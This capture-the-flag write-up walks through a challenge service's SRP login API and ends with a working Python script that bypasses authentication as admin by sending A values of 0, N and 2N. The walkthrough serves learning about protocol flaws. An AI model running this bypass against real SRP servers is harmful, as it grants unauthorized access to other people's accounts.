It's a web challenge! Looking at the website we see... not much at
all. The only noteworthy thing on it is the following sentence:
> At Homebrew Inc we strongly believe in tailor-made solutions and
> follow best practices such as self-describing REST APIs.
Researching a bit there seem to be a few approaches to this, linking
to auto-generated documentation (hello Swagger!) and answering to an
`OPTIONS` request with an API description. Trying the latter on all
routes, we receive unexpectedly informative JSON blobs on the signup
and login ones, but we'll start with signup first:
$ curl -X OPTIONS
http://18.205.93.120:1207/signup
{
"desc": "SRP signup",
"steps": [
"/signup/step1"
],
"params": {
"N": 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919,
"g": 2,
"k": 3
},
"methods": [
"POST",
"OPTIONS"
]
}
Ah, SPR. I remember wrestling with it at work once. It's a peculiar
protocol for those too paranoid to ever work with anything remotely
hash-like. The API description suggest using the `POST` method using
the `/signup/step1` route. Let's describe it, too:
$ curl -X OPTIONS
http://18.205.93.120:1207/signup/step1
{
"prereq": {
"I": "<username string>",
"P": "<password string>",
"data": "<string>",
"salt": "<random integer, [0, 2**32-1]>",
"xH": "<SHA256(str(salt) + P) hexdigest>",
"x": "<int(H, 16)>",
"v": "<g**x % N>"
},
"prereq_example": {
"I": "jdoe",
"P": "hunter2",
"data": "PIN: 1234",
"salt": 2473339394,
"xH": "f360842526cef540bc3d0972cb7179165648ee85e42bac1b109e68f57f17a54c",
"x": 110082551556075264983629543761043676240495772593286768986473676736510503134540,
"v": 1327193214845171349844335475605855771968870542446809142132629004437761168361050857353521330213121691274430865884287927781550691200587962438818490898907252909736115904287020621586025928228872624759857507845743720392033286150442949926855822586451771392039906065174621434048326839399388340960480425833226663867970564094037283765342496095687739532308461860002996489244264206931228192166902219753677582263521039567403833594256457469235611757926324579787337092901050504
},
"req": {
"I": "<I>",
"data": "<data>",
"salt": "<salt>",
"v": "<v>"
},
"req_example": {
"I": "jdoe",
"data": "PIN: 1234",
"salt": 2473339394,
"v": 327193214845171349844335475605855771968870542446809142132629004437761168361050857353521330213121691274430865884287927781550691200587962438818490898907252909736115904287020621586025928228872624759857507845743720392033286150442949926855822586451771392039906065174621434048326839399388340960480425833226663867970564094037283765342496095687739532308461860002996489244264206931228192166902219753677582263521039567403833594256457469235611757926324579787337092901050504
}
}
Sending the example request or something equivalent errors out though,
but at least it can be used to figure out whether we're doing the math
parts correctly. On top of that we can even log in as `jdoe` by using
the information obtained so far and following the API documentation
for the login steps. Observe:
$ curl -X OPTIONS
http://18.205.93.120:1207/login
{
"desc": "SRP login",
"steps": [
"/login/step1",
"/login/step2"
],
"params": {
"N": 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919,
"g": 2,
"k": 3
},
"methods": [
"POST",
"OPTIONS"
]
}
$ curl -X OPTIONS
http://18.205.93.120:1207/login/step1
{
"prereq": {
"I": "<username string>",
"a": "<random integer, [1, 2**32-1]>",
"A": "<g**a % N>"
},
"prereq_example": {
"I": "jdoe",
"a": 2400982698,
"A": 1626240965052459925090125564662450784704852916880989610254487352511115303419406578246232917723737104052602659421538468730464182001695274514009713448708123869015130825773618678988184870172644370983281191997141382365131891395129263297924819542928203385891937165370260003746835447051076036828958209007723981232862248848958565222992834212176073750753382841888691202203695840114634561439561357062502914915539157996640328596456290408508151057540906943958192316326246174
},
"req": {
"I": "<I>",
"A": "<A>"
},
"req_example": {
"I": "jdoe",
"A": 1626240965052459925090125564662450784704852916880989610254487352511115303419406578246232917723737104052602659421538468730464182001695274514009713448708123869015130825773618678988184870172644370983281191997141382365131891395129263297924819542928203385891937165370260003746835447051076036828958209007723981232862248848958565222992834212176073750753382841888691202203695840114634561439561357062502914915539157996640328596456290408508151057540906943958192316326246174
},
"res": {
"status": "success",
"salt": "<random integer, [1, 2**32-1]>",
"B": "<ephemeral integer>"
},
"res_example": {
"status": "success",
"salt": 2473339394,
"B": 1463994662108935211483546790214268991209400331727265594590553834253274420518422123007887249491289332525317946662357289644143230007519413519454089534397688108477942862918483125504502716914927778746738550335951557334410005233905704997697357834981278238675633777765149411515954354539188400836463161944664950393129172030717487025860056182128667979363536475899232633828373161940080539190435258185028907741024934100124225377681974318908661653122745288060915421082899832
}
}
If you ignore the stupidly huge numbers for a while (that's modern
cryptography for you), it's not that scary. `I` is already known, `a`
is chosen by us, `A` is calculated using the data collected so far.
We even receive more data by the server. Step 2 is where things get
more interesting:
{
"prereq": {
"a": "<a> from step1",
"A": "<A> from step1",
"B": "<B> from step1",
"salt": "<salt> from step1",
"P": "<password string>",
"uH": "<SHA256(str(A) + str(B)) hexdigest>",
"u": "<int(uH, 16)>",
"xH": "<SHA256(str(salt) + P) hexdigest>",
"x": "<int(xH, 16)>",
"S": "<(B - k * g**x)**(a + u * x) % N>",
"K": "<SHA256(S) hexdigest>"
},
"prereq_example": {
"a": 2400982698,
"A": 1626240965052459925090125564662450784704852916880989610254487352511115303419406578246232917723737104052602659421538468730464182001695274514009713448708123869015130825773618678988184870172644370983281191997141382365131891395129263297924819542928203385891937165370260003746835447051076036828958209007723981232862248848958565222992834212176073750753382841888691202203695840114634561439561357062502914915539157996640328596456290408508151057540906943958192316326246174,
"B": 1463994662108935211483546790214268991209400331727265594590553834253274420518422123007887249491289332525317946662357289644143230007519413519454089534397688108477942862918483125504502716914927778746738550335951557334410005233905704997697357834981278238675633777765149411515954354539188400836463161944664950393129172030717487025860056182128667979363536475899232633828373161940080539190435258185028907741024934100124225377681974318908661653122745288060915421082899832,
"salt": 2473339394,
"P": "hunter2",
"uH": "918a5a6da91078edfad64e82c2fdd880fb7e0027ded39e5d88ea753b7996e00c",
"u": 65829812053122994858379485436700829031554594618392120488755968230743462043660,
"xH": "f360842526cef540bc3d0972cb7179165648ee85e42bac1b109e68f57f17a54c",
"x": 110082551556075264983629543761043676240495772593286768986473676736510503134540,
"S": 681702622420650776315865947859040061416917287499419876503005911953421472159482221147984920348300702430913972260924940491572867356754245066884046351157672691454775624333773884243390745294222714191688303830371693525223872779293970613122876999888431013688349650754391077022496238243810283398288178672672294853897303100682758918607537273918144547941780007209741605629693356760884829910798340674812989955955190649397082710554940247700505387749139723722190124825907306,
"K": "771d414d72fa61d25a98baf95d772d04bd8ab1f6c941f89fe5c094452393a388"
},
"req": {
"proof": "<HMAC-SHA256(str(salt), K) hexdigest>"
},
"req_example": {
"proof": "a0c74c30f108a51cb9ae7a739f60fd1e0f6f3d359430f91736cd7a21268747d8"
},
"res": {
"status": "success",
"message": "<data string>"
},
"res_example": {
"status": "success",
"message": "Hello jdoe! Your data is: PIN: 1234"
}
}
Additionally to the previously collected data we need a password
(generously provided in the request example), then perform a bit more
math than before to log in. If everything went right, we should get
some not terribly secret data. The hardest part here is making sure
the string operations work correctly, hashes are converted properly to
numbers and that you're getting the modular exponentiation part
right.
Now for the actual challenge. You should have a working client now,
but logging in as admin can't be done that way because you don't know
their password and bruteforcing it isn't really an option as there is
no password hash equivalent to crack offline. After researching a bit
online, it becomes obvious that the server is using version 3 of the
protocol which has an important safeguard for the mathematics to work,
the client must abort when receiving `B = 0 (mod N)` and the server
must abort when receiving `A = 0 (mod N)`. If the server doesn't
check for this correctly, submitting values of 0, `N`, `2N`, etc. will
lead to an authentication bypass and allow you to log in. Here's how
it looks in practice:
#!/usr/bin/env python3
import hashlib
import hmac
import sys
import requests
def die(fstring, *args):
print(fstring.format(*args), file=sys.stderr)
sys.exit(1)
if len(sys.argv) != 3:
die('usage: {} <address> <user>', sys.argv[0])
_, ADDRESS, USER = sys.argv
def sha256(message):
return hashlib.sha256(bytes(message, 'ascii')).hexdigest()
def hmac_sha256(key, message):
return hmac.new(bytes(key, 'ascii'),
bytes(message, 'ascii'),
hashlib.sha256).hexdigest()
def get_help(path):
return requests.options(ADDRESS + path).json()
def submit(path, payload, cookies=None):
res = requests.post(ADDRESS + path, json=payload, cookies=cookies)
return [res.json(), res.cookies]
def try_A(N, factor):
A = N * factor
params, cookies = submit('/login/step1', {'I': USER, 'A': A})
if params['status'] == 'error':
return False
salt = params['salt']
S = 0
K = sha256(str(S))
proof = hmac_sha256(str(salt), K)
params, _ = submit('/login/step2', {'proof': proof}, cookies=cookies)
if params['status'] == 'error':
return False
return params['message']
def solve():
params = get_help('/login')['params']
N = params['N']
i = 0
while True:
print('Trying {}N'.format(i))
result = try_A(N, i)
if result:
print(result)
sys.exit(0)
i += 1
if __name__ == '__main__':
solve()
Invoking it with the challenge address and `admin` user prints the
following:
Trying 0N
Trying 1N
Trying 2N
Hello admin! Your data is: AOTW{uSuRp_the_flag}